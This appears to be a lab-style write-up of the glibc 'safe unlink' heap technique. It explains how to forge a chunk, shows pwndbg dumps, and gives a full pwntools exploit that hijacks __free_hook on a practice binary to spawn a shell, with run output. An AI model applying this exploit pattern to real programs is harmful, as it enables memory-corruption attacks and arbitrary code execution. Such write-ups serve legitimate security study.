Safe Unlink
Technique
Create a fake chunk within an existing chunk and manipulate the consolidation process to alter a pointer utilized by the program. In order to establish a secure unlink, you need to overwrite the metadata of the subsequent chunk. Ensure that the fd
(forward pointer), bk
(backward pointer), size
, and prev_size
are all valid.
Checks:
- The target chunk is located within the free list,
- The fd->bk
and bk->fd
should both correspond to the target chunk to validate its presence in the free list.
- The prev_size
is equal to the victim chunk's size
.
For example, if p
equals 0x2133010
, then fd->bk
is equals to p
and bk->fd
is also equals to p
.
pwndbg> p *((struct malloc_chunk*)0x2133010)
$1 = {
mchunk_prev_size = 0,
mchunk_size = 128,
fd = 0x602048,
bk = 0x602050,
fd_nextsize = 0x4242424242424242,
bk_nextsize = 0x4242424242424242
}
pwndbg> p *((struct malloc_chunk*)0x2133010).fd
$2 = {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x0,
bk = 0x2133010,
fd_nextsize = 0x88,
bk_nextsize = 0x21330a0
}
pwndbg> p *((struct malloc_chunk*)0x2133010).bk
$3 = {
mchunk_prev_size = 0,
mchunk_size = 0,
fd = 0x2133010,
bk = 0x88,
fd_nextsize = 0x21330a0,
bk_nextsize = 0x88
}
Exploit Script
The given binary employs the m_array
list to store pointers to allocated chunks as a local variable situated on the stack. The objective is to overwrite the pointers of m_array[0]
, subsequently modifying the allocated chunk n°0
to achieve arbitrary write starting at m_array[0]
.
Following this, you can obtain a shell by utilizing a one-gadget on libc or by calling free on /bin/sh
with a __free_hook
that points to system
.
#!/usr/bin/env python3
from pwn import *
def malloc(size):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"size: ", str(size).encode())
def edit(idx, data):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"index: ", str(idx).encode())
io.sendafter(b"data: ", data)
def free(idx):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"index: ", str(idx).encode())
def print_target():
io.sendlineafter(b"> ", b"4")
io.recvuntil(b"target: ")
print(io.recvline().strip())
def read_leak():
io.recvuntil(b"puts() @ ")
puts_addr = int(io.recvline().strip(), 16)
return puts_addr
# -----[ CONTEXT ]-----
DEBUG = False
BINARY = "./safe_unlink"
LIBC = "../.glibc/glibc_2.30_no-tcache/libc.so.6"
elf = context.binary = ELF(BINARY, checksec=False)
libc = ELF(LIBC, checksec=False)
context.log_level = "debug" if DEBUG else "info"
# -----[ EXPLOIT ]-----
if DEBUG:
io = gdb.debug([BINARY], gdbscript="""
continue
""")
else:
io = process([BINARY])
# Read the leak & calculate the addresses
puts = read_leak()
libc.address = puts - libc.sym["puts"]
print(f"puts: {hex(puts)}")
print(f"libc: {hex(libc.address)}")
m_array = elf.sym["m_array"]
target = elf.sym["target"]
print(f"m_array: {hex(m_array)}")
print(f"target: {hex(target)}")
W = 8
one_gadget = libc.address + 0xe1fa1
# ---------------------------
CHUNK_SIZE = 0x90
DATA_SIZE = 0x90 - W
FAKE_SIZE = 0x80
malloc(DATA_SIZE)
malloc(DATA_SIZE)
fd = p64(m_array - 0x18) # Fake fd (valid)
bk = p64(m_array - 0x10) # Fake bk (valid)
prev_size = p64(FAKE_SIZE) # Fake prev_size (valid)
second_chunk_size = p64(CHUNK_SIZE) # Overwrite the prev_inuse flag to 0
# Create the fake chunk at chunk + 0x10 (so the fake_size is 0x90 - 0x10 = 0x80)
payload = p64(0) + p64(FAKE_SIZE) + fd + bk + b"B" * W * 12 + prev_size + second_chunk_size
edit(0, payload)
free(1) # Trigger unlinking
"""
# Replace m_array[0] with the address we want to overwrite
# Overwrite the target to test our exploit
edit(0, b"A" * W * 3 + p64(target))
edit(0, b"Hello world !!!")
print_target()
# 1) Get a shell by using a LIBC one_gadget
edit(0, b"A" * W * 3 + p64(libc.sym["__free_hook"]))
edit(0, p64(one_gadget))
free(0)
"""
# 2) Get a shell using system(@ "/bin/sh") instead of free(@ "/bin/sh")
# m_array[0] = @ "/bin/sh"
# __free_hook = system
edit(0, b"A" * W * 3 + p64(libc.sym["__free_hook"] - len(b"/bin/sh\x00")))
edit(0, b"/bin/sh\x00" + p64(libc.sym["system"]))
free(0)
io.interactive()
Execution
python3 xpl_safe_unlink.py
[+] Starting local process './safe_unlink': pid 13252
puts: 0x7eeacf06faf0
libc: 0x7eeacf000000
m_array: 0x602060
target: 0x602010
[*] Switching to interactive mode
$ id
uid=1001(xanhacks) gid=1001(xanhacks) groups=1001(xanhacks),998(wheel)